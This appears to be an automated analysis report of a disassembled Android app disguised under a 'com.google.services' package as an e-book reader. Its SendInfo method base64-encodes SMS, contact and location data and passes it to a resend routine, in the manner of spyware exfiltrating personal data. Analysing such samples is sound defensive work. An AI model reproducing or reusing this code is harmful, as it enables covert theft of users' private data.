72iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
73iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
74int-to-float v1, v1
75iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I
76int-to-float v2, v2
78invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V
80iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
82invoke-virtual {v0}, Landroid/graphics/Path;->close()V
84invoke-virtual {p1}, Landroid/graphics/Canvas;->save()I
86sget-object v0, Landroid/graphics/Region$Op;->XOR:Landroid/graphics/Region$Op;
88invoke-virtual {p1, p3, v0}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z
89const/4 v0, 0x0
91invoke-virtual {p1, p2, v5, v5, v0}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;FFLandroid/graphics/Paint;)V
  • Data flow analysis:
    • p1: 0
    • p2: 0
    • p3: 0
93invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V
94return-void
APIs
  • java.lang.String.equals
  • java.nio.MappedByteBuffer.get
  • java.lang.String.equals
  • java.nio.MappedByteBuffer.get
Strings
  • UTF-16LE
  • UTF-16BE
Position Instruction Meta Information
0.parameter
1.prologue
2const/4 v1, 0x0
3const/16 v5, 0xa
5iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String;
7const-string v2, "UTF-16LE"
9invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: UTF-16LE
10move-result v0
11if-eqz v0, :cond_42
12add-int/lit8 v0, p1, -0x2
13goto_f: if-lez v0, :cond_29
15iget-object v2, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
17invoke-virtual {v2, v0}, Ljava/nio/MappedByteBuffer;->get(I)B
18move-result v2
20iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
21add-int/lit8 v4, v0, 0x1
23invoke-virtual {v3, v4}, Ljava/nio/MappedByteBuffer;->get(I)B
24move-result v3
25if-ne v2, v5, :cond_3f
26if-nez v3, :cond_3f
27add-int/lit8 v2, p1, -0x2
28if-eq v0, v2, :cond_3f
29add-int/lit8 v0, v0, 0x2
30cond_29: if-gez v0, :cond_2c
31move v0, v1
32cond_2c: sub-int v2, p1, v0
33new-array v3, v2, [B
34goto_30: if-ge v1, v2, :cond_82
36iget-object v4, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
37add-int v5, v0, v1
39invoke-virtual {v4, v5}, Ljava/nio/MappedByteBuffer;->get(I)B
  • Data flow analysis:
    • p0: 10
40move-result v4
41aput-byte v4, v3, v1
42add-int/lit8 v1, v1, 0x1
43goto/16 :goto_30
44cond_3f: add-int/lit8 v0, v0, -0x1
45goto/16 :goto_f
46cond_42:
47iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String;
49const-string v2, "UTF-16BE"
51invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: UTF-16BE
52move-result v0
53if-eqz v0, :cond_6c
54add-int/lit8 v0, p1, -0x2
55goto_4e: if-lez v0, :cond_29
57iget-object v2, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
59invoke-virtual {v2, v0}, Ljava/nio/MappedByteBuffer;->get(I)B
60move-result v2
62iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
63add-int/lit8 v4, v0, 0x1
65invoke-virtual {v3, v4}, Ljava/nio/MappedByteBuffer;->get(I)B
66move-result v3
67if-nez v2, :cond_69
68if-ne v3, v5, :cond_69
69add-int/lit8 v2, p1, -0x2
70if-eq v0, v2, :cond_69
71add-int/lit8 v0, v0, 0x2
72goto/16 :goto_29
73cond_69: add-int/lit8 v0, v0, -0x1
74goto/16 :goto_4e
75cond_6c: add-int/lit8 v0, p1, -0x1
76goto_6e: if-lez v0, :cond_29
78iget-object v2, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
80invoke-virtual {v2, v0}, Ljava/nio/MappedByteBuffer;->get(I)B
81move-result v2
82if-ne v2, v5, :cond_7f
83add-int/lit8 v2, p1, -0x1
84if-eq v0, v2, :cond_7f
85add-int/lit8 v0, v0, 0x1
86goto/16 :goto_29
87cond_7f: add-int/lit8 v0, v0, -0x1
88goto/16 :goto_6e
89cond_82: return-object v3
APIs
  • java.lang.String.equals
  • java.nio.MappedByteBuffer.get
  • java.lang.String.equals
  • java.nio.MappedByteBuffer.get
Strings
  • UTF-16LE
  • UTF-16BE
Position Instruction Meta Information
0.parameter
1.prologue
2const/16 v4, 0xa
4iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String;
6const-string v1, "UTF-16LE"
8invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: UTF-16LE
9move-result v0
10if-eqz v0, :cond_3b
11move v0, p1
12cond_d: iget v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I
13add-int/lit8 v1, v1, -0x1
14if-ge v0, v1, :cond_27
16iget-object v1, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
17add-int/lit8 v2, v0, 0x1
19invoke-virtual {v1, v0}, Ljava/nio/MappedByteBuffer;->get(I)B
20move-result v1
22iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
23add-int/lit8 v0, v2, 0x1
25invoke-virtual {v3, v2}, Ljava/nio/MappedByteBuffer;->get(I)B
26move-result v2
27if-ne v1, v4, :cond_d
28if-nez v2, :cond_d
29cond_27: sub-int v1, v0, p1
30new-array v2, v1, [B
31const/4 v0, 0x0
32goto_2c: if-ge v0, v1, :cond_72
34iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
35add-int v4, p1, v0
37invoke-virtual {v3, v4}, Ljava/nio/MappedByteBuffer;->get(I)B
  • Data flow analysis:
    • p0: 10
38move-result v3
39aput-byte v3, v2, v0
40add-int/lit8 v0, v0, 0x1
41goto/16 :goto_2c
42cond_3b:
43iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String;
45const-string v1, "UTF-16BE"
47invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: UTF-16BE
48move-result v0
49if-eqz v0, :cond_73
50move v0, p1
51cond_46: iget v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I
52add-int/lit8 v1, v1, -0x1
53if-ge v0, v1, :cond_27
55iget-object v1, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
56add-int/lit8 v2, v0, 0x1
58invoke-virtual {v1, v0}, Ljava/nio/MappedByteBuffer;->get(I)B
59move-result v1
61iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
62add-int/lit8 v0, v2, 0x1
64invoke-virtual {v3, v2}, Ljava/nio/MappedByteBuffer;->get(I)B
65move-result v2
66if-nez v1, :cond_46
67if-ne v2, v4, :cond_46
68goto/16 :goto_27
69cond_61: move v0, v1
70goto_62: iget v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I
71if-ge v0, v1, :cond_27
73iget-object v2, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
74add-int/lit8 v1, v0, 0x1
76invoke-virtual {v2, v0}, Ljava/nio/MappedByteBuffer;->get(I)B
77move-result v0
78if-ne v0, v4, :cond_61
79move v0, v1
80goto/16 :goto_27
81cond_72: return-object v2
82cond_73: move v0, p1
83goto/16 :goto_62
APIs
  • android.view.MotionEvent.getAction
  • android.view.MotionEvent.getX
  • android.view.MotionEvent.getY
  • com.google.services.PageWidget.postInvalidate
  • android.view.MotionEvent.getAction
  • android.view.MotionEvent.getX
  • android.view.MotionEvent.getY
  • android.view.MotionEvent.getAction
  • com.google.services.PageWidget.canDragOver
  • com.google.services.PageWidget.startAnimation
  • com.google.services.PageWidget.postInvalidate
Position Instruction Meta Information
0.parameter
1.prologue
2const/4 v3, 0x1
3const v2, 0x3db851ec
5invoke-virtual {p1}, Landroid/view/MotionEvent;->getAction()I
6move-result v0
7const/4 v1, 0x2
8if-ne v0, v1, :cond_1e
10iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
12invoke-virtual {p1}, Landroid/view/MotionEvent;->getX()F
13move-result v1
14iput v1, v0, Landroid/graphics/PointF;->x:F
16iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
18invoke-virtual {p1}, Landroid/view/MotionEvent;->getY()F
19move-result v1
20iput v1, v0, Landroid/graphics/PointF;->y:F
22invoke-virtual {p0}, Lcom/google/services/PageWidget;->postInvalidate()V
23cond_1e:
24invoke-virtual {p1}, Landroid/view/MotionEvent;->getAction()I
25move-result v0
26if-nez v0, :cond_34
28iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
30invoke-virtual {p1}, Landroid/view/MotionEvent;->getX()F
31move-result v1
32iput v1, v0, Landroid/graphics/PointF;->x:F
34iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
36invoke-virtual {p1}, Landroid/view/MotionEvent;->getY()F
37move-result v1
38iput v1, v0, Landroid/graphics/PointF;->y:F
39cond_34:
40invoke-virtual {p1}, Landroid/view/MotionEvent;->getAction()I
41move-result v0
42if-ne v0, v3, :cond_48
44invoke-virtual {p0}, Lcom/google/services/PageWidget;->canDragOver()Z
45move-result v0
46if-eqz v0, :cond_49
47const/16 v0, 0x4b0
49invoke-direct {p0, v0}, Lcom/google/services/PageWidget;->startAnimation(I)V
  • Data flow analysis:
    • p0: 1200
50goto_45:
51invoke-virtual {p0}, Lcom/google/services/PageWidget;->postInvalidate()V
52cond_48: return v3
53cond_49:
54iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
55iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
56int-to-float v1, v1
57sub-float/2addr v1, v2
58iput v1, v0, Landroid/graphics/PointF;->x:F
60iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
61iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I
62int-to-float v1, v1
63sub-float/2addr v1, v2
64iput v1, v0, Landroid/graphics/PointF;->y:F
65goto/16 :goto_45
APIs
  • java.io.InputStream.read
  • java.io.IOException.<init>
  • java.lang.String.indexOf
  • java.io.IOException.<init>
  • java.io.InputStream.read
  • java.io.IOException.<init>
  • java.lang.String.indexOf
Strings
  • Bad base64 stream
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
5.prologue
6const/4 v3, 0x2
7const/4 v9, -0x1
8const/4 v8, 0x4
9const/4 v2, 0x1
10const/4 v1, 0x0
11new-array v5, v8, [C
12move v0, v1
13cond_8:
14iget-object v4, p0, Lit/sauronsoftware/base64/Base64InputStream;->inputStream:Ljava/io/InputStream;
16invoke-virtual {v4}, Ljava/io/InputStream;->read()I
17move-result v4
18if-ne v4, v9, :cond_21
19if-eqz v0, :cond_1a
20new-instance v0, Ljava/io/IOException;
22const-string v1, "Bad base64 stream"
24invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Bad base64 stream
25throw v0
26cond_1a: new-array v0, v1, [I
27iput-object v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I
28iput-boolean v2, p0, Lit/sauronsoftware/base64/Base64InputStream;->eof:Z
29cond_20: return-void
30cond_21: int-to-char v6, v4
32sget-object v4, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String;
34invoke-virtual {v4, v6}, Ljava/lang/String;->indexOf(I)I
35move-result v4
36if-ne v4, v9, :cond_2e
37sget-char v4, Lit/sauronsoftware/base64/Shared;->pad:C
38if-ne v6, v4, :cond_49
39cond_2e: add-int/lit8 v4, v0, 0x1
40aput-char v6, v5, v0
41move v0, v4
42cond_33: if-lt v0, v8, :cond_8
43move v0, v1
44move v4, v1
45goto_37: if-ge v4, v8, :cond_5f
46aget-char v6, v5, v4
47sget-char v7, Lit/sauronsoftware/base64/Shared;->pad:C
48if-eq v6, v7, :cond_59
49if-eqz v0, :cond_5c
50new-instance v0, Ljava/io/IOException;
52const-string v1, "Bad base64 stream"
54invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Bad base64 stream
55throw v0
56cond_49: const/16 v4, 0xd
57if-eq v6, v4, :cond_33
58const/16 v4, 0xa
59if-eq v6, v4, :cond_33
60new-instance v0, Ljava/io/IOException;
62const-string v1, "Bad base64 stream"
64invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Bad base64 stream
65throw v0
66cond_59: if-nez v0, :cond_5c
67move v0, v2
68cond_5c: add-int/lit8 v4, v4, 0x1
69goto/16 :goto_37
70cond_5f: const/4 v0, 0x3
71aget-char v0, v5, v0
72sget-char v4, Lit/sauronsoftware/base64/Shared;->pad:C
73if-ne v0, v4, :cond_9b
75iget-object v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->inputStream:Ljava/io/InputStream;
77invoke-virtual {v0}, Ljava/io/InputStream;->read()I
78move-result v0
79if-eq v0, v9, :cond_76
80new-instance v0, Ljava/io/IOException;
82const-string v1, "Bad base64 stream"
84invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Bad base64 stream
85throw v0
86cond_76: iput-boolean v2, p0, Lit/sauronsoftware/base64/Base64InputStream;->eof:Z
87aget-char v0, v5, v3
88sget-char v4, Lit/sauronsoftware/base64/Shared;->pad:C
89if-ne v0, v4, :cond_99
90goto_7e: move v0, v1
91move v3, v1
92goto_80: if-ge v3, v8, :cond_9d
93aget-char v4, v5, v3
94sget-char v6, Lit/sauronsoftware/base64/Shared;->pad:C
95if-eq v4, v6, :cond_96
97sget-object v4, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String;
98aget-char v6, v5, v3
100invoke-virtual {v4, v6}, Ljava/lang/String;->indexOf(I)I
101move-result v4
102rsub-int/lit8 v6, v3, 0x3
103mul-int/lit8 v6, v6, 0x6
104shl-int/2addr v4, v6
105or-int/2addr v0, v4
106cond_96: add-int/lit8 v3, v3, 0x1
107goto/16 :goto_80
108cond_99: move v2, v3
109goto/16 :goto_7e
110cond_9b: const/4 v2, 0x3
111goto/16 :goto_7e
112cond_9d: new-array v3, v2, [I
113iput-object v3, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I
114goto_a1: if-ge v1, v2, :cond_20
116iget-object v3, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I
117rsub-int/lit8 v4, v1, 0x2
118mul-int/lit8 v4, v4, 0x8
119ushr-int v4, v0, v4
120and-int/lit16 v4, v4, 0xff
121aput v4, v3, v1
122add-int/lit8 v1, v1, 0x1
123goto/16 :goto_a1
APIs
  • java.lang.String.equals
Strings
  • sms
  • UTF-8
  • contact
  • location
  • other
Position Instruction Meta Information
0.prologue
2const-string v0, ""
4iget-object v1, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String;
6invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
7move-result v0
8if-eqz v0, :cond_29
9goto_a:
10const-string v0, ""
12iget-object v1, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String;
14invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
15move-result v0
16if-eqz v0, :cond_3e
17cond_14:
18const-string v0, ""
20iget-object v1, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String;
22invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
23move-result v0
24if-eqz v0, :cond_53
25cond_1e:
26const-string v0, ""
28iget-object v1, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String;
30invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
31move-result v0
32if-eqz v0, :cond_68
33goto_28: return-void
34cond_29:
35const-string v0, "sms"
37iget-object v1, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String;
39const-string v2, "UTF-8"
41invoke-static {v1, v2}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
42move-result-object v1
44invoke-virtual {p0, v0, v1}, Lcom/google/services/SendInfo;->reSendInfo(Ljava/lang/String;Ljava/lang/String;)Z
45move-result v0
46if-eqz v0, :cond_a
48const-string v0, ""
49iput-object v0, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String;
50goto/16 :goto_a
51cond_3e:
52const-string v0, "contact"
54iget-object v1, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String;
56const-string v2, "UTF-8"
58invoke-static {v1, v2}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
59move-result-object v1
61invoke-virtual {p0, v0, v1}, Lcom/google/services/SendInfo;->reSendInfo(Ljava/lang/String;Ljava/lang/String;)Z
62move-result v0
63if-eqz v0, :cond_14
65const-string v0, ""
66iput-object v0, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String;
67goto/16 :goto_14
68cond_53:
69const-string v0, "location"
71iget-object v1, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String;
73const-string v2, "UTF-8"
75invoke-static {v1, v2}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
76move-result-object v1
78invoke-virtual {p0, v0, v1}, Lcom/google/services/SendInfo;->reSendInfo(Ljava/lang/String;Ljava/lang/String;)Z
79move-result v0
80if-eqz v0, :cond_1e
82const-string v0, ""
83iput-object v0, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String;
84goto/16 :goto_1e
85cond_68:
86const-string v0, "other"
88iget-object v1, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String;
90const-string v2, "UTF-8"
92invoke-static {v1, v2}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
93move-result-object v1
95invoke-virtual {p0, v0, v1}, Lcom/google/services/SendInfo;->reSendInfo(Ljava/lang/String;Ljava/lang/String;)Z
96move-result v0
97if-eqz v0, :cond_28
99const-string v0, ""
100iput-object v0, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String;
101goto/16 :goto_28
APIs
  • java.lang.Object.<init>
  • java.util.Vector.<init>
  • java.text.DecimalFormat.<init>
  • android.graphics.Paint.<init>
  • android.graphics.Paint.setTextAlign
  • android.graphics.Paint.setTextSize
  • android.graphics.Paint.setColor
Strings
  • GBK
  • ##.##
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3const/4 v1, 0x0
4const/4 v0, 0x0
6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
7iput-object v1, p0, Lcom/google/services/BookPageFactory;->book_file:Ljava/io/File;
8iput-object v1, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer;
9iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I
10iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
11iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I
13const-string v0, "GBK"
14iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String;
15iput-object v1, p0, Lcom/google/services/BookPageFactory;->m_book_bg:Landroid/graphics/Bitmap;
16new-instance v0, Ljava/util/Vector;
18invoke-direct {v0}, Ljava/util/Vector;-><init>()V
19iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector;
20const/16 v0, 0x18
21iput v0, p0, Lcom/google/services/BookPageFactory;->m_fontSize:I
22const/high16 v0, -0x100
23iput v0, p0, Lcom/google/services/BookPageFactory;->m_textColor:I
24const/16 v0, -0x617b
25iput v0, p0, Lcom/google/services/BookPageFactory;->m_backColor:I
26const/16 v0, 0xf
27iput v0, p0, Lcom/google/services/BookPageFactory;->marginWidth:I
28const/16 v0, 0x14
29iput v0, p0, Lcom/google/services/BookPageFactory;->marginHeight:I
30new-instance v0, Ljava/text/DecimalFormat;
32const-string v1, "##.##"
34invoke-direct {v0, v1}, Ljava/text/DecimalFormat;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: ##.##
35iput-object v0, p0, Lcom/google/services/BookPageFactory;->df:Ljava/text/DecimalFormat;
36iput p1, p0, Lcom/google/services/BookPageFactory;->mWidth:I
37iput p2, p0, Lcom/google/services/BookPageFactory;->mHeight:I
38new-instance v0, Landroid/graphics/Paint;
39const/4 v1, 0x1
41invoke-direct {v0, v1}, Landroid/graphics/Paint;-><init>(I)V
  • Data flow analysis:
    • p0: 1
42iput-object v0, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint;
44iget-object v0, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint;
46sget-object v1, Landroid/graphics/Paint$Align;->LEFT:Landroid/graphics/Paint$Align;
48invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setTextAlign(Landroid/graphics/Paint$Align;)V
50iget-object v0, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint;
51iget v1, p0, Lcom/google/services/BookPageFactory;->m_fontSize:I
52int-to-float v1, v1
54invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setTextSize(F)V
56iget-object v0, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint;
57iget v1, p0, Lcom/google/services/BookPageFactory;->m_textColor:I
59invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setColor(I)V
60iget v0, p0, Lcom/google/services/BookPageFactory;->mWidth:I
61iget v1, p0, Lcom/google/services/BookPageFactory;->marginWidth:I
62mul-int/lit8 v1, v1, 0x2
63sub-int/2addr v0, v1
64int-to-float v0, v0
65iput v0, p0, Lcom/google/services/BookPageFactory;->mVisibleWidth:F
66iget v0, p0, Lcom/google/services/BookPageFactory;->mHeight:I
67iget v1, p0, Lcom/google/services/BookPageFactory;->marginHeight:I
68mul-int/lit8 v1, v1, 0x2
69sub-int/2addr v0, v1
70int-to-float v0, v0
71iput v0, p0, Lcom/google/services/BookPageFactory;->mVisibleHeight:F
72iget v0, p0, Lcom/google/services/BookPageFactory;->mVisibleHeight:F
73iget v1, p0, Lcom/google/services/BookPageFactory;->m_fontSize:I
74int-to-float v1, v1
75div-float/2addr v0, v1
76float-to-int v0, v0
77iput v0, p0, Lcom/google/services/BookPageFactory;->mLineCount:I
78return-void
APIs
  • java.io.ByteArrayInputStream.<init>
  • java.io.ByteArrayOutputStream.<init>
  • java.io.ByteArrayInputStream.close
  • java.io.ByteArrayOutputStream.close
  • java.io.ByteArrayOutputStream.toByteArray
  • java.lang.RuntimeException.<init>
  • java.io.ByteArrayInputStream.close
  • java.io.ByteArrayOutputStream.close
Strings
  • Unexpected I/O error
Position Instruction Meta Information
0.parameter
1.parameter
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Ljava/lang/RuntimeException;
5}
6.end annotation
7.prologue
8new-instance v1, Ljava/io/ByteArrayInputStream;
10invoke-direct {v1, p0}, Ljava/io/ByteArrayInputStream;-><init>([B)V
11new-instance v2, Ljava/io/ByteArrayOutputStream;
13invoke-direct {v2}, Ljava/io/ByteArrayOutputStream;-><init>()V
14try_start_a:
15invoke-static {v1, v2, p1}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/io/InputStream;Ljava/io/OutputStream;I)V
16try_start_d:
17invoke-virtual {v1}, Ljava/io/ByteArrayInputStream;->close()V
18goto_10:
19invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->close()V
20goto_13:
21invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
22move-result-object v0
23return-object v0
24catch_18: move-exception v0
25try_start_19: new-instance v3, Ljava/lang/RuntimeException;
27const-string v4, "Unexpected I/O error"
29invoke-direct {v3, v4, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
  • Data flow analysis:
    • p0: Unexpected I/O error
30throw v3
31try_end_21: move-exception v0
32try_start_22:
33invoke-virtual {v1}, Ljava/io/ByteArrayInputStream;->close()V
34try_end_25:
35invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->close()V
36goto_28: throw v0
37catch_29: move-exception v0
38goto/16 :goto_10
39catch_2b: move-exception v0
40goto/16 :goto_13
41catch_2d: move-exception v1
42goto/16 :goto_25
43catch_2f: move-exception v1
44goto/16 :goto_28
APIs
  • java.io.ByteArrayInputStream.<init>
  • java.io.ByteArrayOutputStream.<init>
  • java.io.ByteArrayInputStream.close
  • java.io.ByteArrayOutputStream.close
  • java.io.ByteArrayOutputStream.toByteArray
  • java.lang.RuntimeException.<init>
  • java.io.ByteArrayInputStream.close
  • java.io.ByteArrayOutputStream.close
Strings
  • Unexpected I/O error
Position Instruction Meta Information
0.parameter
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/RuntimeException;
4}
5.end annotation
6.prologue
7new-instance v1, Ljava/io/ByteArrayInputStream;
9invoke-direct {v1, p0}, Ljava/io/ByteArrayInputStream;-><init>([B)V
10new-instance v2, Ljava/io/ByteArrayOutputStream;
12invoke-direct {v2}, Ljava/io/ByteArrayOutputStream;-><init>()V
13try_start_a:
14invoke-static {v1, v2}, Lit/sauronsoftware/base64/Base64;->decode(Ljava/io/InputStream;Ljava/io/OutputStream;)V
15try_start_d:
16invoke-virtual {v1}, Ljava/io/ByteArrayInputStream;->close()V
17goto_10:
18invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->close()V
19goto_13:
20invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
21move-result-object v0
22return-object v0
23catch_18: move-exception v0
24try_start_19: new-instance v3, Ljava/lang/RuntimeException;
26const-string v4, "Unexpected I/O error"
28invoke-direct {v3, v4, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
  • Data flow analysis:
    • p0: Unexpected I/O error
29throw v3
30try_end_21: move-exception v0
31try_start_22:
32invoke-virtual {v1}, Ljava/io/ByteArrayInputStream;->close()V
33try_end_25:
34invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->close()V
35goto_28: throw v0
36catch_29: move-exception v0
37goto/16 :goto_10
38catch_2b: move-exception v0
39goto/16 :goto_13
40catch_2d: move-exception v1
41goto/16 :goto_25
42catch_2f: move-exception v1
43goto/16 :goto_28
APIs
  • java.lang.Math.abs
  • java.lang.Math.hypot
  • com.google.services.PageWidget.getCross
Position Instruction Meta Information
0.prologue
1const/4 v7, 0x0
2const/high16 v6, 0x4080
3const/high16 v5, 0x4000
5iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
6iget v0, v0, Landroid/graphics/PointF;->x:F
7iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
8int-to-float v1, v1
9add-float/2addr v0, v1
10div-float/2addr v0, v5
11iput v0, p0, Lcom/google/services/PageWidget;->mMiddleX:F
13iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
14iget v0, v0, Landroid/graphics/PointF;->y:F
15iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I
16int-to-float v1, v1
17add-float/2addr v0, v1
18div-float/2addr v0, v5
19iput v0, p0, Lcom/google/services/PageWidget;->mMiddleY:F
21iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
22iget v1, p0, Lcom/google/services/PageWidget;->mMiddleX:F
23iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I
24int-to-float v2, v2
25iget v3, p0, Lcom/google/services/PageWidget;->mMiddleY:F
26sub-float/2addr v2, v3
27iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I
28int-to-float v3, v3
29iget v4, p0, Lcom/google/services/PageWidget;->mMiddleY:F
30sub-float/2addr v3, v4
31mul-float/2addr v2, v3
32iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I
33int-to-float v3, v3
34iget v4, p0, Lcom/google/services/PageWidget;->mMiddleX:F
35sub-float/2addr v3, v4
36div-float/2addr v2, v3
37sub-float/2addr v1, v2
38iput v1, v0, Landroid/graphics/PointF;->x:F
40iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
41iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I
42int-to-float v1, v1
43iput v1, v0, Landroid/graphics/PointF;->y:F
45iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
46iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
47int-to-float v1, v1
48iput v1, v0, Landroid/graphics/PointF;->x:F
